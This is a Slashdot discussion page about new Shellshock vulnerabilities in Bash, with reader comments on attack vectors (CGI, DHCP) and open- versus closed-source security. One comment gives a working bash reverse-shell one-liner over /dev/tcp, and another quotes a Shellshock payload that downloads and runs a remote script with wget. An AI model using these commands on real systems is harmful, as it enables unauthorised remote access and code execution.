Slashdot Mirror


Bash To Require Further Patching, As More Shellshock Holes Found

Bismillah writes Google security researcher Michael 'lcamtuf' Zalewski says he's discovered a new remote code execution vulnerability in the Bash parser (CVE-2014-6278) that is essentially equivalent to the original Shellshock bug, and trival to exploit. "The first one likely permits remote code execution, but the attack would require a degree of expertise to carry out," Zalewski said. "The second one is essentially equivalent to the original flaw, trivially allowing remote code execution even on systems that deployed the fix for the initial bug," he added.

35 of 329 comments (clear)

  1. There are no "remote" exploits for bash by gweihir · · Score: 4, Informative

    Bash does not have network connectivity. The only thing possible is that there may be remote code execution vulnerabilities when bash is used in connection with a network service like a web-server or ssh. Maybe try to have a minimum of accuracy in these stories?

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    1. Re:There are no "remote" exploits for bash by DarkOx · · Score: 4, Informative

      Umm bash does indeed have network capabilities and I use them for getting reverse shells all the time.

      It can be compiled without it but in general its present on most linux systems.

      echo $(bash -i >& /dev/tcp/x.x.x.x/yyyy 0>&1)

      Where x.x.x.x is the ip and yyyy is the port you want to send the shell to, you can use a netcat listener on the remote host.

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    2. Re:There are no "remote" exploits for bash by markus_baertschi · · Score: 4, Interesting
      Bash has network connectivity on plenty of servers because it is used to execute cgi-script by the webserver (and other network services).

      Here the definition of the system() function call often used to run external commands:

      system() executes a command specified in command by calling /bin/sh -c command

      /bin/sh is linked to /bin/bash and vulnerable. Executing external commands through system(), and therefore bash, is by far the easiest method, so it is widely used. It is sufficient to trick the server or daemon.

      Here a proof of concept where a dhcp server tricks a dhcp client into running an arbitrary command. https://www.trustedsec.com/sep...

      Markus

    3. Re:There are no "remote" exploits for bash by DarkOx · · Score: 3, Informative

      Yes CGI is the common vector you are seeing lots of on the internet, but the greater threat I think to many users is dhcp.

      If you have a Linux box that you get a dhcp address from GET IT PATCHED NOW.

      Anyone can stand up a rouge DHCP server on most networks. Corporate environments might be slightly safer IFF they are well run. That is dhcp snooping is enabled on all the edge switches along with port security so you can know there are no addition dump hubs/switches daisy chained.

      Otherwise DHCP options are passed as environment variables to the DHCP hook scripts on the client, even the default debug script that just returns if DEBUG is not set, and ships with dhclient would be vulnerable because the environment is parsed before any script content. You are walking around with a remote root exploit!

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    4. Re:There are no "remote" exploits for bash by Anonymous Coward · · Score: 5, Funny

      Anyone can stand up a rouge DHCP server on most networks.

      I tried to set up a rouge DHCP server once, but it left me marooned.

    5. Re:There are no "remote" exploits for bash by reikae · · Score: 3, Interesting

      Third time's the charm:
      cat </dev/tcp/time.nist.gov/13

      :-) I wasn't aware of the feature, thanks.

  2. Nothing to do with language by dutchwhizzman · · Score: 5, Insightful

    First of all, it's Bourne shellcode and bash has extensions to it. Second of all, whether the programming language is bad or not is totally not relevant. It's the parser in the shell itself that has some fundamental flaws because it executes code inside environment variables that are totally unchecked. You could have a brilliant programming language and still make the exact same mistake.

    While you may say that is "by design" it is not common for Bourne shell to do so and most of shell scripts are written to be Bourne shell compatible. By choosing to allow this to happen, Bash programmers made a giant hole in shell security.

    --
    I was promised a flying car. Where is my flying car?
    1. Re:Nothing to do with language by K.+S.+Kyosuke · · Score: 3, Insightful

      The problem with bash is that even more than most shells (perhaps except for zsh), it's exceedingly obscure and baroque. This kind of featuritis, combined with the N^2 interaction between the individual features, tends to lead to unexpected consequences. What happened to "keep things simple" with shells?

      --
      Ezekiel 23:20
    2. Re:Nothing to do with language by Anonymous Coward · · Score: 5, Funny

      The problem with bash is that even more than most shells (perhaps except for zsh), it's exceedingly obscure and baroque.

      Of course it is baroque. That's why they are working hard to fix it.

  3. More bugs and exploits by GeekWithAKnife · · Score: 5, Funny


    Rejoice my brethren; finally linux is becoming popular, the year of the desktop is upon us!

    --
    A 'singular oddity' is an event that cannot be explained and only happens when you are alone.
  4. The headlines are changing by Anonymous Coward · · Score: 4, Interesting

    A quick wrap-up of some Slashdot headlines about Windows and open source vulnerabilities. This might not be enough data to say anything certain, but an interesting trend is surely developing.

    2004: New Windows Vulnerability in Help System
    2004: Four New Unpatched Windows Vulnerabilities
    2007: Windows Vulnerability in Animated Cursor Handling
    2010: Windows DLL Vulnerability Exploit in the Wild
    2012: Windows Remote Desktop Exploit in the Wild
    2014: 23 Year Old X11 Server Security Vulnerability Discovered
    2014: OpenSSL Bug Allows Attackers to Read Memory in 64k Chunks
    2014: Remote Exploit Vulnerability in Bash

  5. Call it what you will by benjymouse · · Score: 5, Insightful

    The fact is that bash allows external entities to poison environment variables ahead of invocation, causing unintended behavior in bash when it is launched as a child process.

    You are correct that this is not a remote exploit by itself. Only with CGI does it become remote. It is a code injection vulnerability that when used with CGI becomes a remotely exploitable vulnerability.

    This is not a "blanded" attack that combines with a CGI vulnerability. There is no vulnerability in CGI; it works as specified (you could say that there is a design vulnerability in CGI - and I would agree about that).

    --
    Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
    1. Re:Call it what you will by c · · Score: 3, Insightful

      The fact is that bash allows external entities to poison environment variables ahead of invocation, causing unintended behavior in bash when it is launched as a child process.

      Well, it's not that it allows external entities to poison the environment, it's that it gives the finger to that basic secure programming practice where you should just assume that externally provided input is tainted data.

      (you could say that there is a design vulnerability in CGI - and I would agree about that).

      Debatable.

      There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved. And, aside from security, the performance hit of invoking a shell just to launch another program makes it a bit silly to do it any other way.

      And I'd point out that it's possible to explicitly control the environment of a subprocess (i.e. execle()), so anything calling a CGI program can at least sanitize things to minimize any damage. Not that the CGI should depend on the caller to sanitize things, of course.

      On the other hand, the environment is a perfectly stupid way to pass code around.

      --
      Log in or piss off.
    2. Re:Call it what you will by benjymouse · · Score: 4, Interesting

      There's nothing in the CGI specification that requires or suggests that there needs to be any kind of intermediary in handling the reqests aside from the web server. The environment is a perfectly legitimate way of passing data, and if the web server calls the CGI safely (i.e. pipe()/fork()/exec()) there's no reason for a transient interpreter like bash to get involved.

      The BIG problem here is that environment variables are inherited by default by and child processes. A semi-persistent mechanism is being used (by CGI) to pass what should have been transient data.

      The passed values from CGI to the command processor is intended ONLY for the command processor. This is a specification vulnerability almost on par with PHP register_globals: If you know that a certain sub-process *also* uses environment variables to pass parameters, you can poison those environment variables from the web context.

      PHP register_globals was bad exactly because of this: Sometimes a script would assume that a variable having no value (e.g. "CURRENT_USER") meant that the user had not logged on; and conversely that a value meant that the user had indeed authenticated. Presto: Inject "CURRENT_USER" as a request parameter and PHP would register a global variable which would cause the test to believe that you were logged on.

      The CGI way is very, very similar: Environment variables are indeed "global" and it is very difficult for the immediate receiving processor to check whether extra variables have been set (as it itself could inherit variables from its parent process).

      The wrong mechanism (a semi-persistent environment) is being used to transfer what should have transient data. That is a vulnerability in the spec.

      --
      Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
  6. Re:Soon to be patched by king+neckbeard · · Score: 4, Insightful

    I think you'll find bone-headed obvious holes from time to time from almost all software vendors, with MS being no exception.

    --
    This is my signature. There are many like it, but this one is mine.
  7. Re:not supposed to be on the web! by alienmole · · Score: 4, Interesting

    Yeah, this is what bothers me about this whole thing. People are acting like this is a terrible security hole outside of anyone's control, but if you're running an environment which allows for remote execution of anything via bash, I feel like Agent Smith said it best: "your men are already dead." That hasn't been a plausible architecture for public-facing applications for at least a decade. I remember working hard to get away from CGI-style approaches in the late '90s - back then, it was more for performance than security, but the security was an added bonus that became more apparent later.

  8. Re:Can someone explain how someone is exploited? by X0563511 · · Score: 5, Informative

    You need to have a network service listening that passes data to bash (or arbitrary shells, though that would be far rarer). For example, an Apache HTTP server using bash as a CGI to process requests.

    In general this is a bad thing, with a few exclusions for items that require it by their very purpose - for example SSH.

    Note however that in the SSH example, the 'passing-stuff-to-shell' is post-authentication - so if they can exploit it, they can already log in as you anyways and do what they want.

    --
    For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
  9. Re:Soon to be patched by Dcnjoe60 · · Score: 5, Insightful

    You thought you could run a totally free hobbyist OS and have it be as secure as one done by paid professionals?

    Be glad its there for you to use at all. People donate their time and energy to it. Don't look a gift horse in the mouth.

    Some would argue that Mac OS X isn't a totally free hobbyist OS and yet, with all of their paid professionals, they have yet to patch the bug. On the other hand, Linux being a free hobbyist OS means that researchers have the ability to scan the code and discover these types of holes. Something that is impossible for closed systems.

  10. Re:Soon to be patched by gmuslera · · Score: 5, Informative

    The Microsoft that delays releasing patches for zero-day vulnerabilities so the NSA can exploit them first? The one that took 7 years to fix a known vulnerability? The one that took 7 months to fix a remote IE exploit after it was reported, just because it wasn't public enough?

    And with linux, as long as you install from your distribution (that already have most if not all that you will ever need to install), you have security fixes for all of what you have installed, not just the kernel or a minimal core of apps.

  11. Re:Can someone explain how someone is exploited? by ruir · · Score: 3, Informative

    There has been much FUD, but not really much technical details in the most common sites. First, this news is inflammatory behind retardation, as it does not make clear that the 2nd patch was officially out by last Thursday or Friday for Debian at least. But then, lets not get the truth on the way of a "news" article, oh noes. As for ways of getting "exploited" they are rather limited. You have to have CGI bash scripts installed on you apache, and CGI enabled, which in more modern distros are far and between. So this will mostly affect old servers. The ways which this works to other services is not clear. Also, it only allows exploit to the same user running the service. I doubt a lot it will allow escalation with setuid scripts, because, as far as I remember, bash has not allowed for decades to mark scripts with setuid due to security problems.

  12. Re:Soon to be patched by indeterminator · · Score: 4, Funny

    Nobody ever got fired for using Microsoft..

    Seems like a management oversight. I would be shocked to find that I have to pay for upgrades every couple of years.

  13. Re:Can someone explain how someone is exploited? by buchner.johannes · · Score: 3, Interesting

    Not just CGI, also DHCP became vulnerable: https://www.trustedsec.com/sep...
    as pointed out by markus_baertschi above.
    So it is relevant for the average end-user.

    --
    NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
  14. Re:Can someone explain how someone is exploited? by Anonymous Coward · · Score: 3, Informative

    You have to have CGI bash scripts installed on you apache

    No. This can affect you if you have a Web-facing server-side application, written in any programming language, that calls out to a shell, and the default shell for 'a shell' on that system is bash.

  15. Re:Soon to be patched by K.+S.+Kyosuke · · Score: 3, Funny

    Apparently, it is not "Ubuntu" but rather "Anonymous Coward" that actually means "I can't configure Debian".

    --
    Ezekiel 23:20
  16. Richard Stallman protests the name Shellshock by Anonymous Coward · · Score: 4, Funny

    You'd better call it the GNU/Shellshock security vulnerability!

  17. Re:Soon to be patched by K.+S.+Kyosuke · · Score: 5, Informative

    Except that Heartbleed had nothing to do with Linux. Many things out there use OpenSSL.

    --
    Ezekiel 23:20
  18. Re:Soon to be patched by fuzznutz · · Score: 3, Interesting

    Hey Anonymous coward. How many of PF Chang's, Target's, Jimmy John's, and Home Depot's POS machines were running Linux?

  19. Re:Soon to be patched by NatasRevol · · Score: 5, Funny

    The reason Windows doesn't have problems like this

    HOLY

    FUCKING

    SHIT

    --
    There are two types of people in the world: Those who crave closure
  20. Re:Soon to be patched by benjymouse · · Score: 5, Informative

    What makes you think Windows doesn't have problems like this?

    They did. But it is a long time since that last vulnerability on this scale. Following the embarrassing Nimda and Code Red (and many vulnerabilities in IIS), Microsoft started it's "security push". The central part of that is the Secure Development Lifecycle (SDL) which as a collection of processes, methodologies, tooling, mandatory education, guidance and mandatory threat modelling, reviews and auditing.

    The difference is that being open source third parties can review the code and find problems. There is no way to keep them secret and from the public.

    That all fine and dandy. Only, these bugs (the original Shellshock and these later) have existed for 22+ years! During all that time, nobody (we hope) "reviewed the code and found problems". So, if there were any third parties looking at the source, they failed miserably (or sold exploit information on the black market).

    Look, there have been bugs found in old MS code as well. A few years back there was a vulnerability in the old DOS emulation code.

    It is time to let the myth of the many eyes die. The community is not going to help you by reviewing code unless you *pay* them to do so. It is the most boring discipline of developing code, and nobody does it out of interest.

    A company like Microsoft can *pay* people to review and audit code. A big part of SDL is exactly those supporting roles and checks/gates. The open source community must wake up and set up foundations OpenSSL style and start asking those who reap the biggest benefits for some funding.

    Also, fixes were pushed out within hours of notification.

    Do you really want to go there, given the incomplete patches and host of related problems which could have been found had the maintainers taken more time?

    Part of SDL in Microsoft is exactly a process where, when a vulnerability has been reported, they must take time to analyze if there are related or similar vulnerabilities, what impact a patch could have. On top of that they have a gigantic test farm where they test for compatibility with a huge number of popular software applications.

    Essentially, what Microsoft does *internally* and prior to releasing information on the bug, is now what for bash takes place *externally* (external security researchers) and *after* the vulnerability info was released.

    Look at it this way. BASH has had this problem evidently for years and there haven't been any exploits. It was discovered by researchers analyzing the code. In an MSoft world, where nobody has access to the code but MSoft, the public finds out about security holes after they have been exploited.

    No no no no. This bash problem was discovered by someone trying to see if you could pass a lambda (an anonymous function) from a bash shell instance to a subshell. He then noticed some weirdness and investigated.

    After the bug has become known, security "researchers" homed in on the bash interpreter. Still from *the outside* (i.e. NOT looking at the source code), more vulnerabilities were found (see Tavis Ormandy's tweets).

    The easiest way to find these bugs remains to just play around with bash and try to throw it off with weird syntax. And that is how these bugs are being found.

    There is absolutely no evidence that having open source code makes the product more or less secure. To be honest, only the most obvious bugs are ever found by inspecting the code - which tend to be the same class of bugs that would be found with just some cursory testing.

    No, the quality of the code is impacted by the quality assurance processes that surround the development process, such as testing, threat modelling, security audits, tooling, guidance etc.

    --
    Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
  21. Re:not supposed to be on the web! by Cid+Highwind · · Score: 3, Insightful

    And it's the developers of all those packages and distros that symlink /bin/sh to bash instead of something minimal and well-audited that we should be screaming at. But "remote root exploit in bash" is sexier (after all, Apple doesn't put procmail on every Mac) so that's what goes in the headline.
     
    ...and next time someone goes on a rant about systemd versus "the Unix way", remember that daemons passing input from the network to /bin/sh is part of "the Unix way".

    --
    0 1 - just my two bits
  22. Re:Can someone explain how someone is exploited? by squiggleslash · · Score: 3, Interesting

    Kinda. With "Mark 2" it becomes considerably more difficult, as you have to find a way to set an environment variable to the same name as a command that'll be executed - at least, from the proof of concept exploits I'm seeing. So even if a badly configured webserver sets HTTP_HOST to "() { wget http://192.168.0.1/r00t.sh ; chmod +x r00t.sh; ./r00t.sh; }", unless your script actually tries to run a program called HTTP_HOST it shouldn't be called.

    (If I'm wrong, expecting angry flames now ;-) Please though include details of why.)

    --
    You are not alone. This is not normal. None of this is normal.
  23. Re:Soon to be patched by BronsCon · · Score: 5, Informative

    Well, let's see here... Heartbleed was a bug in OpenSSL, use in a lot of software that has nothing at all to do with Linux, and Shellshock is a bug in the Bash shell, which predates Linux by 2 years and is used on a lot of systems that have nothing at all to do with Linux. Neither bug was a Linux bug, though both affected Linux systems; both also had the ability to affect Windows systems running any number of applications that rely on OpenSSL (if you open your eyes, you might be amazed how many and how common) or Bash (fewer, but still not completely unheard of; there are a number of POSIX layers for Windows, and all of them use Bash by default as far as I'm aware).

    The last time I posted these facts, I was modded flamebait, and I'm sure it'll happen again. Plenty of karma to burn, though, so, whatever.

    --
    APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
  24. Re:Soon to be patched by BronsCon · · Score: 5, Informative

    Shellshock has nothing to do with Linux, either. Bash predates Linux by 2 years.

    --
    APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
  25. Re:Soon to be patched by TheRaven64 · · Score: 3, Interesting

    On the open source projects I've worked on where Google is a big contributor, they are very keen to push features and randomly refactor large parts of code, but I've never seen them do anything like a security audit. They did, however, do a big audit of libavcodec (which they use) and fix around 300 security holes...

    --
    I am TheRaven on Soylent News
  26. Re:Soon to be patched by TemporalBeing · · Score: 3, Informative

    Lol.

    You pay for Software Assurance and yet their release cycles seem to push past the edge of the 3 year SA agreements in so many cases, requiring ongoing renewal of SA in order to not lose it.

    They took notes from Cisco's playbook on how to long term fuck their clients.

    They started the that policy in when Windows XP (and Server 2003) were released, and lost a third of the customers when they didn't deliver a new release within the 3 year Window. Yes, some of those got new policies later after that, but that policy change also drove many to evaluating Linux as an alternative (well documented at the time in the news) and some to switch when they found out they didn't really need Windows or Microsoft.

    --
    Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)